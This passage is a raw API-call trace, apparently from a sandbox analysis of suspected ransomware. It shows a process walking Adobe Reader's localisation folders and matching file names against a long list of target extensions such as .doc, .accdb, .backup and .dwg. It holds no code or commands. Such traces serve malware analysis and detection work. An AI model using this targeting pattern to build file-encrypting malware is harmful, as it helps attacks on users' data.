[0263.181] lstrlenW (lpString=".asp") returned 4 [0263.182] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0263.182] lstrlenW (lpString=".aspx") returned 5 [0263.182] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0263.182] lstrlenW (lpString=".asr") returned 4 [0263.182] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0263.182] lstrlenW (lpString=".asx") returned 4 [0263.182] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0263.182] lstrlenW (lpString=".avi") returned 4 [0263.182] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0263.182] lstrlenW (lpString=".avs") returned 4 [0263.182] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0263.182] lstrlenW (lpString=".backup") returned 7 [0263.182] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0263.182] lstrlenW (lpString=".bak") returned 4 [0263.182] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0263.182] lstrlenW (lpString=".bay") returned 4 [0263.182] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0263.182] lstrlenW (lpString=".bd") returned 3 [0263.182] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0263.182] lstrlenW (lpString=".bin") returned 4 [0263.182] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0263.183] lstrlenW (lpString=".bmp") returned 4 [0263.183] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0263.183] lstrlenW (lpString=".bz2") returned 4 [0263.183] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0263.183] lstrlenW (lpString=".c") returned 2 [0263.183] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0263.183] lstrlenW (lpString=".cdr") returned 4 [0263.183] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0263.183] lstrlenW (lpString=".cer") returned 4 [0263.183] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0263.183] lstrlenW (lpString=".cf") returned 3 [0263.183] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0263.183] lstrlenW (lpString=".cfc") returned 4 [0263.183] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0263.183] lstrlenW (lpString=".cfm") returned 4 [0263.183] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0263.183] lstrlenW (lpString=".cfml") returned 5 [0263.183] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0263.183] lstrlenW (lpString=".cfu") returned 4 [0263.183] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0263.183] lstrlenW (lpString=".chm") returned 4 [0263.183] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0263.183] lstrlenW (lpString=".cin") returned 4 [0263.183] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0263.183] lstrlenW (lpString=".class") returned 6 [0263.184] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0263.184] lstrlenW (lpString=".clx") returned 4 [0263.184] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0263.184] lstrlenW (lpString=".config") returned 7 [0263.184] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0263.184] lstrlenW (lpString=".cpp") returned 4 [0263.184] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0263.184] lstrlenW (lpString=".cr2") returned 4 [0263.184] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0263.184] lstrlenW (lpString=".crt") returned 4 [0263.184] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0263.184] lstrlenW (lpString=".crw") returned 4 [0263.184] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0263.184] lstrlenW (lpString=".cs") returned 3 [0263.184] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0263.184] lstrlenW (lpString=".css") returned 4 [0263.184] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0263.184] lstrlenW (lpString=".csv") returned 4 [0263.184] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0263.184] lstrlenW (lpString=".cub") returned 4 [0263.185] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0263.185] lstrlenW (lpString=".dae") returned 4 [0263.185] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0263.185] lstrlenW (lpString=".dat") returned 4 [0263.185] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0263.185] lstrlenW (lpString=".db") returned 3 [0263.185] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0263.185] lstrlenW (lpString=".dbf") returned 4 [0263.185] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0263.185] lstrlenW (lpString=".dbx") returned 4 [0263.185] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0263.185] lstrlenW (lpString=".dc3") returned 4 [0263.185] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0263.185] lstrlenW (lpString=".dcm") returned 4 [0263.185] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0263.185] lstrlenW (lpString=".dcr") returned 4 [0263.185] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0263.185] lstrlenW (lpString=".der") returned 4 [0263.185] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0263.185] lstrlenW (lpString=".dib") returned 4 [0263.185] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0263.185] lstrlenW (lpString=".dic") returned 4 [0263.185] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0263.185] lstrlenW (lpString=".dif") returned 4 [0263.185] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0263.186] lstrlenW (lpString=".divx") returned 5 [0263.186] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0263.186] lstrlenW (lpString=".djvu") returned 5 [0263.186] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0263.186] lstrlenW (lpString=".dng") returned 4 [0263.186] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0263.186] lstrlenW (lpString=".doc") returned 4 [0263.186] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0263.186] lstrlenW (lpString=".docm") returned 5 [0263.186] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0263.186] lstrlenW (lpString=".docx") returned 5 [0263.186] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0263.186] lstrlenW (lpString=".dot") returned 4 [0263.186] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0263.186] lstrlenW (lpString=".dotm") returned 5 [0263.186] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0263.186] lstrlenW (lpString=".dotx") returned 5 [0263.186] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0263.186] lstrlenW (lpString=".dpx") returned 4 [0263.186] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0263.186] lstrlenW (lpString=".dqy") returned 4 [0263.186] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0263.187] lstrlenW (lpString=".dsn") returned 4 [0263.187] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0263.187] lstrlenW (lpString=".dt") returned 3 [0263.187] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0263.187] lstrlenW (lpString=".dtd") returned 4 [0263.187] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0263.187] lstrlenW (lpString=".dwg") returned 4 [0263.187] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0263.187] lstrlenW (lpString=".dwt") returned 4 [0263.187] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0263.187] lstrlenW (lpString=".dx") returned 3 [0263.187] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0263.187] lstrlenW (lpString=".dxf") returned 4 [0263.187] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0263.187] lstrlenW (lpString=".edml") returned 5 [0263.187] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0263.187] lstrlenW (lpString=".efd") returned 4 [0263.187] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0263.187] lstrlenW (lpString=".elf") returned 4 [0263.187] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0263.187] lstrlenW (lpString=".emf") returned 4 [0263.187] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0263.187] lstrlenW (lpString=".emz") returned 4 [0263.187] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0263.187] lstrlenW (lpString=".epf") returned 4 [0263.187] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0263.188] lstrlenW (lpString=".eps") returned 4 [0263.188] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0263.188] lstrlenW (lpString=".epsf") returned 5 [0263.188] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0263.188] lstrlenW (lpString=".epsp") returned 5 [0263.188] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0263.188] FindNextFileW (in: hFindFile=0x3315870, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x38f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0263.188] FindClose (in: hFindFile=0x3315870 | out: hFindFile=0x3315870) returned 1 [0263.188] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0263.188] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0263.189] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0263.189] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ru-ru\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33155f0 [0263.189] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.189] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5391, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0263.189] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5391, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0263.190] FindClose (in: hFindFile=0x33155f0 | out: hFindFile=0x33155f0) returned 1 [0263.190] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0263.190] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0263.190] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0263.190] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sk-sk") returned 105 [0263.190] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sk-sk\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315c30 [0263.191] FindNextFileW (in: hFindFile=0x3315c30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.191] FindNextFileW (in: hFindFile=0x3315c30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3f75, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0263.192] lstrlenW (lpString="ui-strings.js") returned 13 [0263.192] lstrlenW (lpString=".1cd") returned 4 [0263.192] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0263.192] lstrlenW (lpString=".3ds") returned 4 [0263.192] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0263.192] lstrlenW (lpString=".3fr") returned 4 [0263.192] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0263.192] lstrlenW (lpString=".3g2") returned 4 [0263.192] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0263.192] lstrlenW (lpString=".3gp") returned 4 [0263.192] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0263.192] lstrlenW (lpString=".7z") returned 3 [0263.192] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0263.192] lstrlenW (lpString=".accda") returned 6 [0263.192] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0263.192] lstrlenW (lpString=".accdb") returned 6 [0263.192] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0263.192] lstrlenW (lpString=".accdc") returned 6 [0263.192] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0263.192] lstrlenW (lpString=".accde") returned 6 [0263.193] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0263.193] lstrlenW (lpString=".accdt") returned 6 [0263.193] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0263.193] lstrlenW (lpString=".accdw") returned 6 [0263.193] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0263.193] lstrlenW (lpString=".adb") returned 4 [0263.193] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0263.193] lstrlenW (lpString=".adp") returned 4 [0263.193] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0263.193] lstrlenW (lpString=".ai") returned 3 [0263.193] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0263.193] lstrlenW (lpString=".ai3") returned 4 [0263.193] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0263.193] lstrlenW (lpString=".ai4") returned 4 [0263.193] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0263.193] lstrlenW (lpString=".ai5") returned 4 [0263.193] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0263.193] lstrlenW (lpString=".ai6") returned 4 [0263.193] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0263.193] lstrlenW (lpString=".ai7") returned 4 [0263.193] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0263.193] lstrlenW (lpString=".ai8") returned 4 [0263.193] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0263.194] lstrlenW (lpString=".anim") returned 5 [0263.194] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0263.194] lstrlenW (lpString=".arw") returned 4 [0263.194] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0263.194] lstrlenW (lpString=".as") returned 3 [0263.194] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0263.194] lstrlenW (lpString=".asa") returned 4 [0263.194] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0263.194] lstrlenW (lpString=".asc") returned 4 [0263.194] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0263.194] lstrlenW (lpString=".ascx") returned 5 [0263.194] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0263.194] lstrlenW (lpString=".asm") returned 4 [0263.194] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0263.194] lstrlenW (lpString=".asmx") returned 5 [0263.194] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0263.194] lstrlenW (lpString=".asp") returned 4 [0263.194] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0263.194] lstrlenW (lpString=".aspx") returned 5 [0263.194] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0263.194] lstrlenW (lpString=".asr") returned 4 [0263.194] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0263.194] lstrlenW (lpString=".asx") returned 4 [0263.194] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0263.195] lstrlenW (lpString=".avi") returned 4 [0263.195] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0263.195] lstrlenW (lpString=".avs") returned 4 [0263.195] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0263.195] lstrlenW (lpString=".backup") returned 7 [0263.195] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0263.195] lstrlenW (lpString=".bak") returned 4 [0263.195] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0263.195] lstrlenW (lpString=".bay") returned 4 [0263.195] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0263.195] lstrlenW (lpString=".bd") returned 3 [0263.195] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0263.195] lstrlenW (lpString=".bin") returned 4 [0263.195] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0263.195] lstrlenW (lpString=".bmp") returned 4 [0263.195] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0263.195] lstrlenW (lpString=".bz2") returned 4 [0263.195] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0263.195] lstrlenW (lpString=".c") returned 2 [0263.195] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0263.195] lstrlenW (lpString=".cdr") returned 4 [0263.195] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0263.195] lstrlenW (lpString=".cer") returned 4 [0263.195] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0263.195] lstrlenW (lpString=".cf") returned 3 [0263.195] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0263.195] lstrlenW (lpString=".cfc") returned 4 [0263.195] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0263.196] lstrlenW (lpString=".cfm") returned 4 [0263.196] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0263.196] lstrlenW (lpString=".cfml") returned 5 [0263.196] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0263.196] lstrlenW (lpString=".cfu") returned 4 [0263.196] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0263.196] lstrlenW (lpString=".chm") returned 4 [0263.196] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0263.196] lstrlenW (lpString=".cin") returned 4 [0263.196] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0263.196] lstrlenW (lpString=".class") returned 6 [0263.196] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0263.196] lstrlenW (lpString=".clx") returned 4 [0263.196] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0263.196] lstrlenW (lpString=".config") returned 7 [0263.196] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0263.196] lstrlenW (lpString=".cpp") returned 4 [0263.198] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0263.198] lstrlenW (lpString=".cr2") returned 4 [0263.198] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0263.198] lstrlenW (lpString=".crt") returned 4 [0263.198] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0263.199] lstrlenW (lpString=".crw") returned 4 [0263.199] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0263.199] lstrlenW (lpString=".cs") returned 3 [0263.199] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0263.199] lstrlenW (lpString=".css") returned 4 [0263.199] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0263.199] lstrlenW (lpString=".csv") returned 4 [0263.199] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0263.199] lstrlenW (lpString=".cub") returned 4 [0263.199] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0263.199] lstrlenW (lpString=".dae") returned 4 [0263.199] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0263.199] lstrlenW (lpString=".dat") returned 4 [0263.199] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0263.199] lstrlenW (lpString=".db") returned 3 [0263.199] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0263.199] lstrlenW (lpString=".dbf") returned 4 [0263.199] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0263.199] lstrlenW (lpString=".dbx") returned 4 [0263.199] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0263.199] lstrlenW (lpString=".dc3") returned 4 [0263.199] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0263.199] lstrlenW (lpString=".dcm") returned 4 [0263.200] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0263.200] lstrlenW (lpString=".dcr") returned 4 [0263.200] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0263.200] lstrlenW (lpString=".der") returned 4 [0263.200] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0263.200] lstrlenW (lpString=".dib") returned 4 [0263.200] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0263.200] lstrlenW (lpString=".dic") returned 4 [0263.200] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0263.200] lstrlenW (lpString=".dif") returned 4 [0263.200] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0263.200] lstrlenW (lpString=".divx") returned 5 [0263.200] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0263.200] lstrlenW (lpString=".djvu") returned 5 [0263.201] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0263.201] lstrlenW (lpString=".dng") returned 4 [0263.201] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0263.201] lstrlenW (lpString=".doc") returned 4 [0263.201] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0263.201] lstrlenW (lpString=".docm") returned 5 [0263.201] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0263.201] lstrlenW (lpString=".docx") returned 5 [0263.201] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0263.201] lstrlenW (lpString=".dot") returned 4 [0263.201] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0263.201] lstrlenW (lpString=".dotm") returned 5 [0263.201] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0263.201] lstrlenW (lpString=".dotx") returned 5 [0263.201] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0263.201] lstrlenW (lpString=".dpx") returned 4 [0263.201] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0263.201] lstrlenW (lpString=".dqy") returned 4 [0263.201] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0263.201] lstrlenW (lpString=".dsn") returned 4 [0263.201] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0263.201] lstrlenW (lpString=".dt") returned 3 [0263.201] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0263.202] lstrlenW (lpString=".dtd") returned 4 [0263.202] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0263.202] lstrlenW (lpString=".dwg") returned 4 [0263.202] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0263.202] lstrlenW (lpString=".dwt") returned 4 [0263.202] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0263.202] lstrlenW (lpString=".dx") returned 3 [0263.202] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0263.202] lstrlenW (lpString=".dxf") returned 4 [0263.202] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0263.202] lstrlenW (lpString=".edml") returned 5 [0263.202] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0263.202] lstrlenW (lpString=".efd") returned 4 [0263.202] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0263.202] lstrlenW (lpString=".elf") returned 4 [0263.202] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0263.202] lstrlenW (lpString=".emf") returned 4 [0263.202] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0263.202] lstrlenW (lpString=".emz") returned 4 [0263.202] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0263.202] lstrlenW (lpString=".epf") returned 4 [0263.202] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0263.203] lstrlenW (lpString=".eps") returned 4 [0263.203] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned 